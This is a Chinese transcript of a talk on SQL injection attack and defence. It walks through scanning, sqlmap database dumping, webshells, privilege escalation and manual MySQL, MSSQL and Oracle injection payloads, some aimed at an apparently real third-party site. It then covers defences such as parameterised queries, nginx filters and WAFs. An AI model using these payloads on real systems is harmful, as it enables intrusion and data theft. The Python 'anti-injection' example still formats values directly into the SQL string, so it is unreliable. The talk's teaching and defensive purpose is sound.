本文根據dbaplus社群第98期線上分享整理而成。
講師介紹
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiInBnauUjN4IjM4EDMxUDM0AzNxAjMvwVNwQDMvw1NxAjMvwVZslmZkF2bsBXdvwlbj5yc1xGchJGZvw1LcpDc0RHaiojIsJye.jpg)
主題簡介:
1、資料庫有什麼安全問題
2、何為資料庫注入
3、資料庫注入攻擊實戰
4、為什麼會發生資料庫注入
5、資料庫注入攻擊防禦
記得以前有人說過,對于一家軟體公司來說,最重要的不是它的辦公樓,也不是它的股票,而是代碼。代碼這東西,說到底就是一堆資料。這話不假,但是不僅僅這樣,對于一家企業來說,它的使用者資料也是最重要的幾個之一。在座各位想必多為dba或者資料分析相關崗位的同學,關于資料對企業的重要性,應該了解很深刻了。
那麼,換一個角度,如果站在使用者角度,資料對他們而言,更是要害。從以前的“豔照門”、“電信詐騙”,到現在的“50億條公民資訊洩露”,資料洩漏每天都在發生着。是以,不管是誰,不管站在企業還是使用者角度,保護資料安全是重中之重。今天的主題——資料庫注入攻防,就屬于資料安全這個領域的問題。
一、資料庫能有什麼安全問題?
說起資料庫存在的安全問題,大家必定會想到很多答案,可能因暴露外網被攻擊,可能因架構或網絡原因破壞資料一緻性,可能因備份還原機制不可用丢資料。
但對于企業、使用者來說,資料洩漏卻是一個特别突出的問題。這裡貼一張圖。如圖1,過去10年,中國網際網路洩漏了10億多條使用者資訊,不過跟最新洩漏的“50億條公民資訊”相比,簡直小巫見大巫。現在這些資料庫在網際網路上早就傳了一遍,網上很多“社工庫”的資料,如圖2,就是從這裡來的。但還有很多是不公開的,還在地下買賣,恐怕我們現在知道的資料洩漏隻是冰山一角。
圖1
圖2
2、洩漏的資料哪來的?
那麼,這些資料是怎麼洩漏的?根據搜狐網上的一些報道,我按類型整理了大概有6種途徑,分成使用者提供和不法分子利用2個大類,占比大概如圖3所示。
圖3
(1)使用者提供
首先,使用者随意連接配接免費wifi或者掃描二維碼會被盜取個人資訊;此外,手機、電腦等終端感染病毒等惡意軟體,也會造成個人資訊被竊取。但這些都是因為使用者自己的主動行為引起的。
(2)不法分子利用
這種主要是包括黑客在内的不法分子主動擷取造成。比如:掌握了資訊的公司、機構員工主動倒賣資訊;
黑客利用網站漏洞入侵資料庫,換句話說,這就是資料庫注入引發的一個個血案;
使用者密碼簡單,“一套密碼走天下”,結果黑客通過“撞庫”等間接方式也擷取了使用者帳号密碼;
個人身份資訊保管不當被利用,比如身份證影印件亂丢,輕易相信網購優惠填寫身份證、銀行卡資訊,進而造成資訊洩漏。
今天,我們将從原理、攻防等方面去剖析資料庫注入。
二、何為資料庫注入
1、原理
通過把惡意 sql指令插入到web表單送出或輸入域名或頁面請求的查詢字元串,進而欺騙伺服器執行惡意的sql指令,而不是按照設計者意圖去執行sql語句。從圖4可以看到,正常使用者輸入的是自己的賬号密碼,但攻擊者不會按開發者想法來,他會用各種畸形輸入來測試。比如圖4就是傳說中的“萬能密碼”,10年前,很多網站倒在它面前,就是因為完全信任使用者輸入。
圖4
2、有什麼危害
非法讀取、篡改、添加、删除資料庫中的資料
盜取使用者的各類敏感資訊,擷取利益
通過修改資料庫來修改網頁上的内容
私自添加或删除賬号
注入木馬等等
看起來資料庫注入的危害可不止資訊洩漏,破壞資料庫資料和進一步入侵也是入侵題中的應有之義。
危害最大。根據owasp(open web application security project)2013年安全報告,如圖5,資料庫注入是最嚴重的web安全問題。
圖5
直接攻擊資料庫,而資料是最敏感的。容易被深度利用,造成威脅擴散。剛才上面也提到,資料庫注入可以用來傳播木馬,甚至控制伺服器,想象空間很大。
三、資料庫注入攻擊實戰
在網絡安全行業有一句話,“未知攻,焉知防”。是以我們要了解資料庫注入,想做好防禦措施,必須先看看它是怎麼攻擊資料庫的。
1、利用思路
攻擊一般可以采用手工和自動化工具兩種方式,各有千秋。
手工:
繁瑣、效率低;靈活、能夠根據站點防護措施随時調整攻擊思路。
工具:
效率高、批量自動挖掘;但是容易被waf(web防火牆)識别、模式相對單一,不夠靈活。但還是事在人為,工具可以跟人一樣聰明,下面我們就利用神器讓注入“飛起來”吧。
主要會用到下面幾款工具。
nmap:社群最著名端口掃描工具。
awvs:商業級web漏洞掃描工具,準确率和效率名列漏掃工具top3。
sqlmap.py:全自動sql注入工具,神器之“神”。
nosqlmap.py:sqlmap的nosql版本,支援mongodb等。
webshell:web木馬,攻城掠地不可或缺。
2、滲透測試環境
要知道,在歐美,掃描别人網站可能違法,更别說入侵網站了。同理,我們的測試,也僅使用模拟環境。下面有很多web滲透的模拟環境,部署起來非常簡單。
<a href="https://github.com/ethicalhack3r/dvwa">https://github.com/ethicalhack3r/dvwa</a>
<a href="https://github.com/webgoat/webgoat">https://github.com/webgoat/webgoat</a>
<a href="https://github.com/audi-1/sqli-labs">https://github.com/audi-1/sqli-labs</a>
<a href="https://hack.me/t/sqli">https://hack.me/t/sqli</a>
<a href="https://github.com/davevs/dvxte">https://github.com/davevs/dvxte</a>
<a href="https://github.com/rapid7/metasploitable3">https://github.com/rapid7/metasploitable3</a>
3、全景圖
在開始測試前,先整理一遍思路。通常滲透測試會遵循:資訊采集、入口發現、入口測試、擷取webshell、提權等步驟。下面大概介紹下每個環節需要做的事情。
收集資訊:通過端口掃描工具、搜尋引擎或者目錄爆破工具收集敏感資訊或者端口開放資訊,以便作為測試入口。
注入:一般說是入口發現,我們這次是web站點存在sql注入,然後通過手工嘗試poc(漏洞驗證payload)或者自動化工具測試,一旦發現sql注入點,立馬開始周遊資料庫,俗稱“脫庫”。但是,别忘了世紀佳緣白帽子事件,殷鑒不遠啊。
getshell:基于sql注入上傳木馬,擷取伺服器控制權限。
提權:基于已有的普通使用者權限,利用系統核心漏洞或者應用漏洞,将自己更新到root使用者。
進階:思路足夠廣,要多深入就有多深入。
4、發現漏洞
nmap -p1-65535 192.168.115.131
發現開放tcp/80端口,為web服務,手工驗證注入入口。
發現http://192.168.115.181/cat.php?id=1存在sql注入。使用awvs進行進一步驗證,如圖6。
圖6
5、脫庫
使用sqlmap全自動脫庫,掃出資料庫、表名、列等資訊。
圖7
6、getshell
也是使用sqlmap直接在sql shell裡寫檔案,當然也可以切換到--os-shell擷取作業系統shell直接執行系統指令,如圖8。
圖8
這裡科普一下傳說中的“一句話木馬”、“小馬”、“大馬”。“一句話木馬”就是将接收任意字元進行執行的php/asp/jsp檔案,通常隻有幾行,甚至隻有一行;“小馬”就是“一句話木馬”或者功能比較簡單的web木馬,“大馬”就是功能齊全的web木馬,比如圖8所示,可以管理檔案、資料庫、執行系統指令、端口掃描甚至端口轉發。
7、提權
從普通使用者變成root使用者。這個需要利用作業系統核心版本漏洞,所幸該核心版本(圖9)很低,真找到了核心exp(圖10),順利提權。
圖9
圖10
8、進階利用
提完權就算了?沒這麼簡單,如果處于攻擊目的,實際上可做的事情太多了。
内網漫遊:一般資料庫都放在内網,我們都知道企業内網很多“寶藏”,各種空密碼、弱密碼、目錄周遊,随便掃一下就大豐收了,如圖11。
流量劫持:arp攻擊、ssl流量劫持、抓包上傳甚至攻擊域控伺服器等等,都深入到這程度,真沒什麼做不到的。
ddos殭屍電腦:控制被入侵機器去攻擊别人,當你發現某台伺服器出向流量異常高就該擔心了,如圖12。
遠控:監控機器,比如鍵盤記錄、使用者指令記錄等等。
圖11
圖12
剛才完整介紹了一個自動sql注入攻擊的過程,可能大家覺得還是不夠過瘾,因為一路隻看我在使用工具,連畸形sql語句都沒看到,是以下面大概介紹一下針對mysql、mssql、oracle等主流關系型資料庫的手工注入。
mysql
圖13
http://192.168.115.131/cat.php?id=1'
直接在參數後面跟上’,或者\,如果沒有合理過濾,是會報文法錯誤的,不信你看看圖13。
http://192.168.115.131/cat.php?id=1%20and%201=2%20union%20select%201,user(),3,4
然後開始試探資料庫字段數、目前使用者,如圖14。
圖14
http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1%20union%20
select%201,concat(login,%27:%27,password),3,4%20from%20users;’
接下來是用來測試是否存在基于時間的盲注和查詢資料庫管理者帳号密碼的,拿到root賬号後可以去網上破解。
mssql
http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100--
here comes the error : the order by position number 100 is out of range of the number of items
圖15
http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 union all select 1,@@version,3,4,5,6,db_name(),8--
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–
這裡還可以執行存儲過程master.dbo.sp_password直接修改資料庫賬号密碼呢。
oracle
思路也差不多,不過文法上稍微複雜點,如果文法不太熟,有個技巧,可以用sqlmap去跑poc,如圖16,按照提醒去構造畸形輸入。
擷取資料庫版本資訊
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
開始爆庫
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>'第
一個庫名') from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from
dual
圖16
mongodb
圖17
四、為什麼會發生資料庫注入
經過上面資料庫注入的攻擊測試,相信大家再也不會心懷僥幸了,因為攻擊成本很低,不是嗎?那麼,總結一下我們看到的,資料庫注入發生的原因是什麼?
1、透過現象看本質
sql注入可以分為平台層注入和代碼層注入。
前者由不安全的資料庫配置或資料庫平台的漏洞所緻;
①不安全的資料庫配置;②資料庫平台存在漏洞;
後者由于開發對輸入未進行細緻過濾,進而執行非法資料查詢。
①不當的類型處理;
②不合理的查詢集處理;③不當的錯誤處理;
④轉義字元處理不合适;⑤多個送出處理不當。
2、代碼
首先,“信任,過猶不及”。很多時候,我們一直強調,站在開發者角度,使用者是不可信任的,未過濾或驗證使用者輸入以及輸出資料,就是給自己挖坑。比如下面這個:
$username = "aaa";
$pwd = "fdsafda' or '1'='1";
$sql = "select * from table where username = '{$username}' and pwd = '{$pwd}'";
echo $sql; //輸出 select * from table where username = 'aaa' and pwd = 'fdsafda' or '1'='1'
?>
傳說中的“萬能密碼”利用的背景代碼差不多就是這個渣樣。當然,現在幾乎不可能存在了,因為人總是會吸取教訓的,各種安全開發的理念還是逐漸深入人心了。
3、資料庫
站在運維角度,資料庫注入中的運維“三宗罪”分别是:
(1)空密碼/弱密碼。“空,那麼空”,我耳朵裡突然想起來金志文的《空城》。
mysql> select user,host,password from mysql.user;
+------+-----------+----------+
| user | host | password |
| root | localhost | |
| root | 127.0.0.1 | |
| root | ::1 | |
(2)外網開放。資料庫開放外網,還不改端口(改了也沒用,因為現在都是全端口掃描的),這不是找抽嗎?
iptables-save | grep 3306
-a input -p tcp -m tcp --dport 3306 -j accept
(3)使用者權限控制不當。按照最小權限原則,隻給賬号需要的最小權限即可。
mysql> show grants for [email protected];
+-----------------------------------------------+
| grants for [email protected];
| grant all privileges on `gameserver`.* to 'wscs_gs'@'101.101.101.101'
五、資料庫注入攻擊防禦
上文已介紹了資料庫注入的原因和形式,下文将從代碼、資料庫、web server和資料分析四個層面介紹如何防禦資料庫注入攻擊。
1、代碼
sdl(security develop lifecircle):軟體開發應當遵循“安全開發生命周期”,軟體測試需要增加安全測試的白盒與黑盒測試。
使用者是不可信的:輸入輸出都應當被過濾,至少應滿足以下4個編碼規則。
對使用者的輸入進行校驗,可以通過正規表達式,或限制長度;對單引号和 雙"-"進行轉換等。
不要使用動态拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行資料查詢存取。
不要把機密資訊明文存放,加密或者hash掉密碼和敏感的資訊。
應用的異常資訊應該給出盡可能少的提示,最好使用自定義的錯誤資訊對原始錯誤資訊進行封裝。
下面我針對php和pyth的反sql注入講2個例子,因為平時用的比較多的是thinkphp和flask這2個web架構。
php
where方法使用字元串條件的時候,支援預處理(安全過濾)。
$model->where("id=%d and username='%s' and xx='%f'",array($id,$username,$xx))->select();
模型的query和execute方法 同樣支援預處理機制,例如:
$model->query('select * from user where id=%d and status=%d',$id,$status);
python
cur=db.cursor()
sql = "insert into test2(cid, author, content) values (%s, %s, %s)" #使用%s而不是'%s'
sql=sql%('2','2','bb')
cur.execute(sql,())
2、資料庫
從架構和運維兩方面談談如何在資料庫層面進行防禦。
(1)架構
首先是架構層面,處于性能和安全考慮,可以在資料庫叢集與web server等前端中間增加dbproxy的中間件,比如batis或者mycat。
db-proxy batis mycat
如圖18所示,mycat中實作了mysql的預處理協定,可以接收預處理指令的處理。當使用預處理查詢,也可以傳回正确的二進制結果集包,通過這個預處理,可以實作對sql注入的過濾和攔截。
圖18
開源sql檢測、阻斷系統 druid-sql-wall
druid提供了wallfilter,基于sql語義分析來實作防禦sql注入攻擊。
(2)運維
然後是運維層面,可以在程序管理、使用者授權、端口開放等方面進行攻擊緩解甚至遏制。
程序啟動使用者
mysql 23400 22671 0 mar19 ? 00:13:25 /usr/sbin/mysqld --basedir=/home/mysql --datadir=/home/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --open-files-limit=8192 --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
資料庫使用者授權
mysql> show grants for [email protected];
| grant select,insert,delete,update,usage privileges on `gameserver`.* to 'gs'@'10.10.10.10' by password '*89dca7b59fd064e3a478xxxxxxxxxf272e7e'
iptables
-a input -p tcp -m tcp --dport 3306 -j mysql
-a mysql -p tcp -m tcp --dport 3306 -j reject --reject-with icmp-port-unreachable
3、web server
接下來,除了前面講的代碼、資料庫層面進行資料庫注入的防禦,其實如果有web前端,一般還是可以在web server層面進行攔截,實作一個多層次的、立體的防護體系。
下面将介紹web server配置、web防火牆兩方面的防禦思路。
配置,配置,還是配置
在web server的vhost設定查詢字元串過濾,一旦使用者送出的字元串存在安全隐患,就會直接進行攔截。由于這個比對度很高,誤殺可能性很低,不過在業務量比較大的情況下,會損耗web server一定性能。
server {
set $block_sql_injections 0;
if ($query_string ~ “union.*select.*(“) {
set $block_sql_injections 1;
}
if ($query_string ~ “union.*all.*select.*”) {
if ($query_string ~ “concat.*(“) {
if ($block_sql_injections = 1) {
return 444;
waf
全稱是web application firewall,跟web server耦合度很高,一般是作為web server的插件編譯安裝進去,常見的方案有下面幾種:
tengine_waf:基于nginx二次開發的tengine的waf子產品。
nginx+sysguard:nginx定制版waf
nginx+httpguard:nginx定制版waf
apache+mod_security:mod_security其實支援apache和nginx,原生的支援apache,是很通用的一種方案。
一般waf支援的功能是在以下層面進行比對、過濾。
user-agent 比對攔截惡意的user-agent
url 比對攔截惡意的網頁路徑
args 比對攔截惡意的get請求參數
post 比對攔截惡意的post請求參數
cookie 比對攔截惡意的cookie 請求
whitetip ip白名單
whiteurl 網頁路徑白名單
blockip ip黑名單
4、日志分析
在海量的web server access.log中分析比對攻擊模型,從中發現sql注入或者getshell的敏感語句。
比如下面這個wordpress的攻擊日志,通過報錯或者’\’敏感字元發現報警:
[07-dec-2016 02:40:49] wordpress database error you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near 'where id = -1\'' at line 1 for query select text, author_id, date from where id = -1\'
現在通過日志大資料做安全防禦的方案有這麼幾種:
實時檢索:elk,實時查詢性能很好,也有自己的通路控制機制,需要定制。
離線分析:hadoop,利用mapreduce等算法進行模型定制、分析、輸出報告,方案參考。
流處理:storm+spark,實時性能好,可以用作實時風控系統。
圖19
總結
資料庫注入其實隻是安全攻防的一個小小的領域,但因為涉及到企業、使用者資料,是以需要列入重點關注。但我們知道,道高一尺魔高一丈,在利益的驅使下攻擊不會停止,我們的防護也不會停止,這場攻防之戰永不落幕。
參考資料
社工庫問答
個人資訊洩漏源
<a href="http://business.sohu.com/20160917/n468557286.shtml">http://business.sohu.com/20160917/n468557286.shtml</a>
sql注入基礎
<a href="http://blog.csdn.net/pan_cras/article/details/52168448">http://blog.csdn.net/pan_cras/article/details/52168448</a>
sql注入原理
<a href="http://blog.csdn.net/stilling2006/article/details/8526458/">http://blog.csdn.net/stilling2006/article/details/8526458/</a>
q&a
q1:開發學這個sqlmap,使用上有哪些難點?手冊中文版的麼?
q2:攻擊工具常用的有哪些?
a2:不同類型的攻擊常用工具都不同,這個回答起來太泛了。這裡我們單純講資料庫注入需要用到的,資訊收集通常使用nmap掃描開放端口、禦劍掃描網站目錄,漏洞發現通常基于資訊收集使用awvs或者openvas進行web或系統漏洞掃描,如果發現sql注入,則分别使用sqlmap、pangolin(穿山甲)等工具進行自動滲透,然後再基于漏洞點的權限決定是通過背景上傳還是直接寫一句話使木馬到站點,之後,使用中國菜刀(一句話木馬連接配接工具)連接配接,再往後的攻擊主要靠思路,沒什麼現成工具。
q3:waf可以檢測到sql注入的行為嗎?
a3:可以。像httpguard或者tengine_waf都支援sql注入行為發現,主要原理也是依據正規表達式比對,然後通過輸出的log來報警。
q4:請問有什麼好的相關書籍或者資料推薦,系統學習安全方面的知識
q5:市場上有什麼防資料庫注入的解決方案嗎?
a5:沒有單獨的防資料庫注入的産品或者商業方案,一般作為入侵檢測系統的子功能,或者web站點安全防護解決方案的一部分。傳統安全廠商啟明星辰、綠盟都有入侵檢測産品,web方面的360和安全狗用的比較多。如果是自己實作,就是本次分享提到的代碼、資料庫、web server、日志分析等幾個層面的方案。
q6:科普下殭屍電腦是什麼?
a6:殭屍電腦也稱傀儡機,是指可以被黑客遠端控制的機器。受害者被誘導點選或者機器被黑客攻破或機器有漏洞被種植了木馬,黑客借此随意操縱服機器并利用它做任何事情,比如ddos。
q7:可以用admin權限,上傳一個1像素的木馬到首頁上抓殭屍電腦,不是更好嗎?
a7:你這裡說的應該是網頁挂馬,也是抓殭屍電腦的一種方式。但是要擷取admin權限,作為非法使用者,本身就要通過入侵去實作的。
q8:那些搞破解的是不是專做這些事?
a8:資料庫注入跟破解其實不是一個領域的問題,破解更多的是應用程式的逆向,比如破解商業軟體的license之類的。
原文釋出時間為:2017-04-05
本文來自雲栖社群合作夥伴dbaplus